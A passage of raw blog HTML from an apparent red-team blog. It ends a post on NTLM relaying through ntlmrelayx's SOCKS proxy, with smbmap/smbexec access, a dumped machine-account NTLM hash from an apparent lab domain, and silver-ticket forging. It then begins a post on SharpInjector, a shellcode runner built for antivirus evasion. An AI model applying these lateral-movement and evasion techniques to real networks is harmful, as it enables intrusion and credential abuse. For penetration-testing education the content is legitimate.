srcset="https://substackcdn.com/image/fetch/$s_!-4wD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0404fe2c-0a06-4008-9d1b-67dc0569371d_660x120.png 424w, https://substackcdn.com/image/fetch/$s_!-4wD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0404fe2c-0a06-4008-9d1b-67dc0569371d_660x120.png 848w, https://substackcdn.com/image/fetch/$s_!-4wD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0404fe2c-0a06-4008-9d1b-67dc0569371d_660x120.png 1272w, https://substackcdn.com/image/fetch/$s_!-4wD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0404fe2c-0a06-4008-9d1b-67dc0569371d_660x120.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>If it does work, we could PUT/GET files from the C drive. Useful for potentially uploading procdump or downloading sensitive files.</p><h3><strong>smbmap</strong></h3><p>Well, if <code>smbclient</code> didn&#8217;t work, <code>smbmap</code> won&#8217;t either&#8230; right?</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!C6qs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F05d2e172-fe50-4bca-9736-270e9a196fa2_751x357.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!C6qs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F05d2e172-fe50-4bca-9736-270e9a196fa2_751x357.png 424w, https://substackcdn.com/image/fetch/$s_!C6qs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F05d2e172-fe50-4bca-9736-270e9a196fa2_751x357.png 848w, https://substackcdn.com/image/fetch/$s_!C6qs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F05d2e172-fe50-4bca-9736-270e9a196fa2_751x357.png 1272w, https://substackcdn.com/image/fetch/$s_!C6qs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F05d2e172-fe50-4bca-9736-270e9a196fa2_751x357.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!C6qs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F05d2e172-fe50-4bca-9736-270e9a196fa2_751x357.png" width="751" height="357" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/05d2e172-fe50-4bca-9736-270e9a196fa2_751x357.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:357,&quot;width&quot;:751,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:85085,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!C6qs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F05d2e172-fe50-4bca-9736-270e9a196fa2_751x357.png 424w, https://substackcdn.com/image/fetch/$s_!C6qs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F05d2e172-fe50-4bca-9736-270e9a196fa2_751x357.png 848w, https://substackcdn.com/image/fetch/$s_!C6qs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F05d2e172-fe50-4bca-9736-270e9a196fa2_751x357.png 1272w, https://substackcdn.com/image/fetch/$s_!C6qs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F05d2e172-fe50-4bca-9736-270e9a196fa2_751x357.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Wrong, for reasons unknown to me, <code>smbmap</code> can read the C drive in my setup, but <code>smbclient</code> can&#8217;t. Maybe I was using smbclient wrong, but like I said, I&#8217;ve had it work before. At any rate, we could use <code>smbmap</code> to accomplish the same functionality we desired with <code>smbclient</code>.</p><h3><strong>smbexec</strong></h3><p>Similar to the oddities with <code>smbclient</code>, I&#8217;ve had issues with <code>smbexec.py</code> not working in every environment. But we <em>should</em> be able to obtain and interactive session using it. We can specify <code>-no-pass</code> here since the password we supply when prompted won&#8217;t matter:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2IJ9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d36b78d-ddd6-4d8b-ba8f-72eb88404374_728x265.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2IJ9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d36b78d-ddd6-4d8b-ba8f-72eb88404374_728x265.png 424w, https://substackcdn.com/image/fetch/$s_!2IJ9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d36b78d-ddd6-4d8b-ba8f-72eb88404374_728x265.png 848w, https://substackcdn.com/image/fetch/$s_!2IJ9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d36b78d-ddd6-4d8b-ba8f-72eb88404374_728x265.png 1272w, https://substackcdn.com/image/fetch/$s_!2IJ9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d36b78d-ddd6-4d8b-ba8f-72eb88404374_728x265.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2IJ9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d36b78d-ddd6-4d8b-ba8f-72eb88404374_728x265.png" width="728" height="265" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/5d36b78d-ddd6-4d8b-ba8f-72eb88404374_728x265.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:265,&quot;width&quot;:728,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:55675,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2IJ9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d36b78d-ddd6-4d8b-ba8f-72eb88404374_728x265.png 424w, https://substackcdn.com/image/fetch/$s_!2IJ9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d36b78d-ddd6-4d8b-ba8f-72eb88404374_728x265.png 848w, https://substackcdn.com/image/fetch/$s_!2IJ9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d36b78d-ddd6-4d8b-ba8f-72eb88404374_728x265.png 1272w, https://substackcdn.com/image/fetch/$s_!2IJ9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5d36b78d-ddd6-4d8b-ba8f-72eb88404374_728x265.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Seems to be working well here. We should also be able to use <code>smbexec</code> through CME with <code>--exec-method smbexec</code> if you don&#8217;t desire an interactive shell.</p><h3><strong>What if smbexec fails?</strong></h3><p>Say <code>smbexec</code> did fail on us, is all hope of getting remote command execution lost? Nope, remember when we dumped LSA secrets with CME? We&#8217;ve got the machine account NTLM hash so we can make ourselves a silver ticket and get access that way - actually breaking out of the port 445 restriction currently imposed on us by the SOCKS proxy (no need for proxychains if we go this route).</p><p>Here&#8217;s the important line from the LSA dump:</p><pre><code><code>REDANIA\NOVIGRAD$:aad3b435b51404eeaad3b435b51404ee:d864dc1f5426f154b74479b5e371a79d:::</code></code></pre><p>And creation of the silver ticket (assuming you&#8217;ve gotten the domain SID through some other means):</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IT2F!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F603a7a94-cbfb-4bdb-812b-f6c92859f323_1134x330.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IT2F!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F603a7a94-cbfb-4bdb-812b-f6c92859f323_1134x330.png 424w, https://substackcdn.com/image/fetch/$s_!IT2F!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F603a7a94-cbfb-4bdb-812b-f6c92859f323_1134x330.png 848w, https://substackcdn.com/image/fetch/$s_!IT2F!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F603a7a94-cbfb-4bdb-812b-f6c92859f323_1134x330.png 1272w, https://substackcdn.com/image/fetch/$s_!IT2F!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F603a7a94-cbfb-4bdb-812b-f6c92859f323_1134x330.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IT2F!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F603a7a94-cbfb-4bdb-812b-f6c92859f323_1134x330.png" width="1134" height="330" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/603a7a94-cbfb-4bdb-812b-f6c92859f323_1134x330.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:330,&quot;width&quot;:1134,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:96459,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!IT2F!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F603a7a94-cbfb-4bdb-812b-f6c92859f323_1134x330.png 424w, https://substackcdn.com/image/fetch/$s_!IT2F!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F603a7a94-cbfb-4bdb-812b-f6c92859f323_1134x330.png 848w, https://substackcdn.com/image/fetch/$s_!IT2F!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F603a7a94-cbfb-4bdb-812b-f6c92859f323_1134x330.png 1272w, https://substackcdn.com/image/fetch/$s_!IT2F!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F603a7a94-cbfb-4bdb-812b-f6c92859f323_1134x330.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>We set the <code>KRB5CCNAME</code> variable, so let&#8217;s test access using Kerberos auth, outside of our proxychains setup:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!q2B7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2717969-7545-499c-8843-93a0c5b7fd5f_1291x76.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!q2B7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2717969-7545-499c-8843-93a0c5b7fd5f_1291x76.png 424w, https://substackcdn.com/image/fetch/$s_!q2B7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2717969-7545-499c-8843-93a0c5b7fd5f_1291x76.png 848w, https://substackcdn.com/image/fetch/$s_!q2B7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2717969-7545-499c-8843-93a0c5b7fd5f_1291x76.png 1272w, https://substackcdn.com/image/fetch/$s_!q2B7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2717969-7545-499c-8843-93a0c5b7fd5f_1291x76.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!q2B7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2717969-7545-499c-8843-93a0c5b7fd5f_1291x76.png" width="1291" height="76" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/f2717969-7545-499c-8843-93a0c5b7fd5f_1291x76.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:76,&quot;width&quot;:1291,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32316,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!q2B7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2717969-7545-499c-8843-93a0c5b7fd5f_1291x76.png 424w, https://substackcdn.com/image/fetch/$s_!q2B7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2717969-7545-499c-8843-93a0c5b7fd5f_1291x76.png 848w, https://substackcdn.com/image/fetch/$s_!q2B7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2717969-7545-499c-8843-93a0c5b7fd5f_1291x76.png 1272w, https://substackcdn.com/image/fetch/$s_!q2B7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2717969-7545-499c-8843-93a0c5b7fd5f_1291x76.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>:)</p><p>Of course, there are other ways you could utilize the SOCKS feature of <code>ntlmrelayx</code>, but the flexibility demonstrated here is why I&#8217;ve made this my preferred relay method.</p>]]></content:encoded></item><item><title><![CDATA[SharpInjector]]></title><description><![CDATA[Experimenting with a shellcode runner]]></description><link>https://blog.tw1sm.io/p/2021-02-04-sharpinjector</link><guid isPermaLink="false">https://blog.tw1sm.io/p/2021-02-04-sharpinjector</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Thu, 04 Feb 2021 05:00:00 GMT</pubDate><enclosure url="https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/6774a865-9de4-4795-9bda-fda4750927d3_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Since AV evasion has become more difficult over time, I&#8217;ve had to turn to more mature payloads and shellcode runners. Gone are the days of initial access through click-to-generate payloads like Cobalt Strike&#8217;s HTA. Some of the more customized and advanced runners I&#8217;ve had success with are FireEye&#8217;s <a href="https://github.com/fireeye/DueDLLigence">DueDlligence</a>, <a href="https://twitter.com/_D00mfist">D00mFist&#8217;s</a> <a href="https://github.com/D00MFist/Go4aRun">Go4aRun</a> and <a href="https://twitter.com/djhohnstein">djhohnstein&#8217;s</a> <a href="https://github.com/djhohnstein/ScatterBrain">ScatterBrain</a>.</p><p>The SharpInjector project is my inital attempt at writing a custom shellcode runner in the same vein as those projects (lots of inspiration drawn from them, as well as this <a href="https://github.com/mvelazc0/defcon27_csharp_workshop">DEFCON workshop</a> for help learning parent process ID spoofing). Below is a quick run through of setup/usage, highlighting some of the customization options along the way.</p><p>The code repository can be found <a href="https://github.com/tw1sm/SharpInjector">here</a>.</p><h1><strong>Prepping the Shellcode</strong></h1><p>The final SharpInjector payload will contain encrypted shellcode, decrypt it and perform the injection. So we&#8217;ll need to get some encrypted shellcode into the solution to start.</p><p>Generate your shellocde - I&#8217;ll do this in Cobalt Strike: <em>Attacks &gt; Packages &gt; Windows Executable (S)</em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uCRh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0f11f690-e9fa-467a-abd1-a69499cd0da7_395x241.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uCRh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0f11f690-e9fa-467a-abd1-a69499cd0da7_395x241.png 424w, https://substackcdn.com/image/fetch/$s_!uCRh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0f11f690-e9fa-467a-abd1-a69499cd0da7_395x241.png 848w, https://substackcdn.com/image/fetch/$s_!uCRh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0f11f690-e9fa-467a-abd1-a69499cd0da7_395x241.png 1272w, https://substackcdn.com/image/fetch/$s_!uCRh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0f11f690-e9fa-467a-abd1-a69499cd0da7_395x241.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uCRh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0f11f690-e9fa-467a-abd1-a69499cd0da7_395x241.png" width="395" height="241" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/0f11f690-e9fa-467a-abd1-a69499cd0da7_395x241.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:241,&quot;width&quot;:395,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:18650,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uCRh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0f11f690-e9fa-467a-abd1-a69499cd0da7_395x241.png 424w, https://substackcdn.com/image/fetch/$s_!uCRh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0f11f690-e9fa-467a-abd1-a69499cd0da7_395x241.png 848w, https://substackcdn.com/image/fetch/$s_!uCRh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0f11f690-e9fa-467a-abd1-a69499cd0da7_395x241.png 1272w, 